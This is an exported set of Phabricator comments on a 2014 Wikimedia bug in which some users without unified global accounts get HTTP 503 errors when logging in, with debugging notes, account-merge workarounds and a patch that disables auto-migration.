+343130,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Change 180346 merged by jenkins-bot:
+Temporarily disable $wgCentralAuthAutoMigrate
+
+[[https://gerrit.wikimedia.org/r/180346]]",,,1418772119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+343128,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Change 180346 had a related patch set uploaded (by Legoktm):
+Temporarily disable $wgCentralAuthAutoMigrate
+
+[[https://gerrit.wikimedia.org/r/180346]]
+
+#patch-for-review",,,1418771808,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+343116,Certain users are unable to log into their account (HTTP 503 upon login attempt),"1. I wonder if something has been done to fix the problem ""...the failure is probably in SpecialUserlogin between lines 790-807."" reported by User:Legoktm earlier?
+
+2. Also, is there some ""login unification"" (?) policy preventing users to create new account say in French wikipedia, if the same account is used in some other wikipedia? I.e. I have just tried to create new account User:Paju in fr.wikipedia and uk.wikipedia, but that is not allowed. My intention was to try to create and delete global account for user Paju, based from one of these new accounts, and see if this helps fi.wikipedia user:Paju to relogin. During last 12...13 days relogin has not been possible, causing edition activity to drop 90% or more. Making the participation more difficult (this software bug does that) evicts volunteer users away from wikipedia. 
+
+The error message was similar as reported by User:Scriber_en earlier, in French: ''Erreur lors de la création du compte. Le nom « Paju » est trop similaire à l’utilisateur suivant :  Paju. Veuillez choisir un autre nom.'' (Error creating account. The name ""Paju"" is too similar to the following user: Paju. Please choose another name.) 
+
+So far, there is no User:Paju in French nor in Ukranian wikipedia. In other projects, there are already more than one users (persons) with Paju account. I would not mind if there were more users with this username in the future. As an example, somebody from the city of Paju in South Korea, could create username Paju to be used in ko.wikipedia. The whole ""login unification"" approach, forcing users to ""put all the eggs in one basket"" appears to me as an oligarchic/ maintenance driven approach. I found this approach also risky (dangerous) for writers from/or writing about totalitarian countries. Already now network activities are heavily censored there. Writing to non-local wiki allows expressing issues which might be risky to write in ""local"" wiki project. If ""login unification"" is a voluntary approach just for those users who wish to protect their username forever in the whole universe, it might be ok in some limited cases. But trying to force all users to give up or take over their username identity globally, especially if they have no intention to do so or if there are several users with the same username, is absolutely not an acceptable approach. ",,,1418767842,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+343104,Certain users are unable to log into their account (HTTP 503 upon login attempt),"User:Pirags (also hasn't global account) also has the problem
+https://lv.wikipedia.org/wiki/Vikip%C4%93dija:Kopienas_port%C4%81ls#Piesl.C4.93g.C5.A1an.C4.81s_probl.C4.93ma_Vikip.C4.93dijai
+
+Told him, that he should try Special:MergeAccounts. Will report later, if some help is needed.
+
+Guys, can't this be fixed?",,,1418767328,,PHID-USER-7fdpmrghqtzbasitnnk7,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0
+342762,Certain users are unable to log into their account (HTTP 503 upon login attempt),Another case mentioned at https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=638336120#Can.27t_log_in,,,1418725314,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+342675,Certain users are unable to log into their account (HTTP 503 upon login attempt),"I tried to reproduce this by creating a new user, deleting the global account, adding another local account with a different password. Then logged into the winning account. Everything works fine :(.
+
+@Joe said ops could try to debug this if they can coordinate with someone who's account is affected.",,,1418689553,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+342630,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Same for Mirzali on Zazaki Wikipedia, see last task merged into this one.",,,1418684626,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+342416,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Seems that we succeed in Scriber situation: I created him an account ""Scriber"" in one of WMF wikis, where he never logged before and where I can push ""ignore similar existing names"" option and sent autogenerated password to him. 
+
+Scriber set a new password, was able to login and created SUL from there - now he can login in ru.wiki, too. 
+
+I'll try to do it for Ibidem too",,,1418661944,,PHID-USER-6ljzsqslzqnmtawxnp4z,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+342415,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Seems that we succeed in Scriber situation: I created him an account ""Scriber"" in one of WMF wikis, where he never logged before and where I can push ""ignore similar existing names"" option and sent autogenerated password to him. 
+
+Scriber set a new password, was able to login and merged account from that new wiki for him - now he can login in ru.wiki, too. 
+
+I'll try to do it for Ibidem too",,,1418661911,,PHID-USER-6ljzsqslzqnmtawxnp4z,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+342412,Certain users are unable to log into their account (HTTP 503 upon login attempt),I've already done that yesterday.,,,1418661691,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+342330,Certain users are unable to log into their account (HTTP 503 upon login attempt),">>! In T75462#846853, @Nemo_bis wrote:
+>> I have no access to my original account. But I can log in on ""Scriber en"". What am I to do?
+> 
+> Try to [[https://meta.wikimedia.org/wiki/Special:CreateAccount|make a new account]] as ""Scriber"" and then [[https://meta.wikimedia.org/wiki/Special:MergeAccount|merge them]].
+
+For Scriber we need someone who would be able to create account to him, ignoring existing usernames, and send password via email.
+I could have done it technically in ru.wiki, but the nickname is already occupied here...",,,1418651059,,PHID-USER-6ljzsqslzqnmtawxnp4z,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1
+342109,Certain users are unable to log into their account (HTTP 503 upon login attempt),"
+I also can't make a new account as ""Scriber"" at meta.wikimedia which is replies: ""The name ""Scriber"" is too similar to  tethe following username: ""Scrib3r"" . Please choose another name"". - So, is ""too similar to the username: Scrib3r"" - the real reason for refuse of making this new account?",,,1418575445,,PHID-USER-stsrbaikwh3qtickviec,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+342106,Certain users are unable to log into their account (HTTP 503 upon login attempt),"I can't make a new account as ""Scriber"" and then merge it with ""Scriber en"" because wikipedia replies ""Account creation error. Username entered already in use. Please choose a different name"" (account ""Scriber"" already exists in en.wikipedia).",,,1418572128,,PHID-USER-stsrbaikwh3qtickviec,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+342091,Certain users are unable to log into their account (HTTP 503 upon login attempt),"> I have no access to my original account. But I can log in on ""Scriber en"". What am I to do?
+
+Try to [[https://meta.wikimedia.org/wiki/Special:CreateAccount|make a new account]] as ""Scriber"" and then [[https://meta.wikimedia.org/wiki/Special:MergeAccount|merge them]].",,,1418564736,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,1
+341968,Certain users are unable to log into their account (HTTP 503 upon login attempt),"The same problem with my original account (Scriber) on ru.wikipedia. No problem with computer or IP-adress. I have no access to my original account. But I can log in on ""Scriber en"". What am I to do?",,,1418500662,,PHID-USER-stsrbaikwh3qtickviec,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+341950,Certain users are unable to log into their account (HTTP 503 upon login attempt),"User Pieroweert added tekst to T8450 after it was closed as duplicate. I'm copying his text here:
+Have the same problem with my original account (Gebruiker:Piero) on nl.wikipedia. No problem with computer or IP-adress. Made a new account (Gebruiker:Pieroweert) which works perfectly. But I have no access to my original lists. Can not log in on Gebruiker:Piero, can log in on Gebruiker:Pieroweert",,,1418491988,,PHID-USER-74kolctr2gbwr2mtan63,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+341904,Certain users are unable to log into their account (HTTP 503 upon login attempt),">>! In T75462#844938, @Umherirrender wrote:
+> It seems that the login only fails on that wiki, which is the best candidat for the ""home wiki"" when a global account would be created.
+
+If the concept of ""home wiki"" is unknown (due to T16234):
+Is seems that the login fails on that wiki, which will be prefered for the global account, if there would be a user collision which can not be resolved by merging with the same email or by password.",,,1418468391,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,1
+341858,Certain users are unable to log into their account (HTTP 503 upon login attempt),It's not always possible - ru:Ibidem can't create SUL due to username collision of different users.,,,1418439776,,PHID-USER-teteh3pfkf4ob5zfobjl,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+341771,Certain users are unable to log into their account (HTTP 503 upon login attempt),"It seems that the login only fails on that wiki, which is the best candidat for the ""home wiki"" when a global account would be created.
+
+Possible workaround: Use another wiki to visit [[Special:MergeAccount]] and try to create a global account.",,,1418418269,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,1
+341181,Certain users are unable to log into their account (HTTP 503 upon login attempt),">>! In T75462#842252, @Nemo_bis wrote:
+>> User Paju does not have problem in login with sv.wikipedia, en.wikipedia, commons, etc, i.e. problem occurs only with fi.wikipedia.
+> 
+> This makes one think the error might be happening between line 940 and line 955 of CentralAuthUser.php...
+
+@legoktm found log entries from line 954 in all the cases specified, so we hit that, and return false to line 80 of CentralAuthPlugin.php.
+
+And since bad passwords are correctly handled, we likely get back to User.php line 3835. And the hash is current, so we don't need to update the password, so User::checkPassword should return true.
+
+Since temporary passwords seem to work, but not the set password, then the failure is probably in SpecialUserlogin between lines 790-807.",,,1418322884,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1
+341160,Certain users are unable to log into their account (HTTP 503 upon login attempt),"> User Paju does not have problem in login with sv.wikipedia, en.wikipedia, commons, etc, i.e. problem occurs only with fi.wikipedia.
+
+This makes one think the error might be happening between line 940 and line 955 of CentralAuthUser.php...",,,1418320933,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+341146,Certain users are unable to log into their account (HTTP 503 upon login attempt),"User Paju is able to login to fi.wikipedia any time, but only through password change (new temporal password requested & this is inserted & password is changed when login). Relogin with new password fails. However some front line authentication system (by Wikimedia Foundation?) seems to recognize when correct password is inserted (redirect to Wikimedia Foundation Error -message) and when incorrect password is given (normal ""Login error. Incorrect password entered. Please try again."" failure message due to incorrect passwd occurs in Finnish). User Paju does not have problem in login with sv.wikipedia, en.wikipedia, commons, etc, i.e. problem occurs only with fi.wikipedia.  ",,,1418319820,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1
+341136,Certain users are unable to log into their account (HTTP 503 upon login attempt),"No merging of my Paju account, please. There are at least two different persons using username Paju in wiki projects. I object merging.",,,1418319047,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+341133,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If Stryn's intuition is right:
+* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting (although it would be very weird for this to be browser-specific);
+* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.
+
+> Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?
+
+No, this has been going on for weeks.",,,1418318693,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+341132,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If Stryn's intuition is right:
+* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting (although it would be very weird);
+* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.
+
+> Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?
+
+No, this has been going on for weeks.",,,1418318668,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+341130,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If Stryn's intuition is right:
+* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting;
+* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.
+
+> Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?
+
+No, this has been going on for weeks.",,,1418318605,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+341128,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If Stryn's intuition is right:
+* grepping centralauth.log for ""CentralAuth.*Migrat"" might bring up something interesting;
+* someone should merge Paju's account, if that's not enough we'd know to look somewhere else.",,,1418318414,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+341127,Certain users are unable to log into their account (HTTP 503 upon login attempt),"So in this case it's a non-global account: https://meta.wikimedia.org/wiki/Special:CentralAuth/Paju
+
+Do we know when this user was last able to login? I'm guessing this is specific to wmf11, since that just hit the wikipedias yesterday?",,,1418317948,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+341119,Certain users are unable to log into their account (HTTP 503 upon login attempt),@joe and I looked into this just now and didn't see anything helpful in the logs (we can see the errors though). Would any of you who have the error be able to join #wikimedia-tech so we can watch your login process as it happens?,,,1418317559,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0
+341112,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Should be noted that all of those users who have had problems with login seems to be without a SUL account.
+User:Artomo who is one of the users who had problems made a SUL account (using Special:MergeAccount) on 27 November 2014.
+User:Velma who is one of the users who had problems made a SUL account (using Special:MergeAccount) on 10 December 2014. And AFAIK Velma is now able to use Wikipedia normally.",,,1418316965,,PHID-USER-6majuboi566q3ozbh27r,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+341103,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Hmm, can somebody push this to the higher priority of Foundation tech guys? Most likely this is a bug in server side so user's cannot do anything without access to server logs. However currently this is also repeatable so somebody should least take debug information from server side to the ticket. ",,,1418315495,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0
+341101,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Hmm, can somebody push this to the higher priority of Foundation tech guys? Most likely this is a bug in server side so user's cannot do anything without access to server logs. However currently this is also repeatable so somebody should least take debug information up. ",,,1418315453,,PHID-USER-pmmyhpxkzmo6lbo5bcqo,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0
+341027,Certain users are unable to log into their account (HTTP 503 upon login attempt),"It should be noted that** the system seems to recognize when user is using correct password** (case 1) and when not (case 2). In case 1, user Paju (fi.wikipedia) is redirected to Wikimedia Foundation Error page, as shown above (or below, for 3rd time). If user Paju inserts erroneous password (case 2), system acts normally and notifies him about erroneous password and requests typing password again. So **the problem seems to be somewhere after the initial user recognition.**
+
+Example of the error message 3, browser as in Example 1, IP has been renewed.
+
+//**Wikimedia Foundation
+Error**//
+
+//Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+If you report this error to the Wikimedia System Administrators, please include the details below.//
+//Request: POST http://fi.wikipedia.org/w/index.php?title=Toiminnot:Kirjaudu_sis%C3%A4%C3%A4n&action=submitlogin&type=login&returnto=Minsk, from 91.198.174.62 via cp1067 cp1067 ([10.64.0.104]:3128), Varnish XID 1668654212//
+//Forwarded for:  IP-REMOVED-BY-PAJU, 91.198.174.71, 91.198.174.71, 91.198.174.62
+Error: 503, Service Unavailable at Thu, 11 Dec 2014 13:18:26 GMT//
+
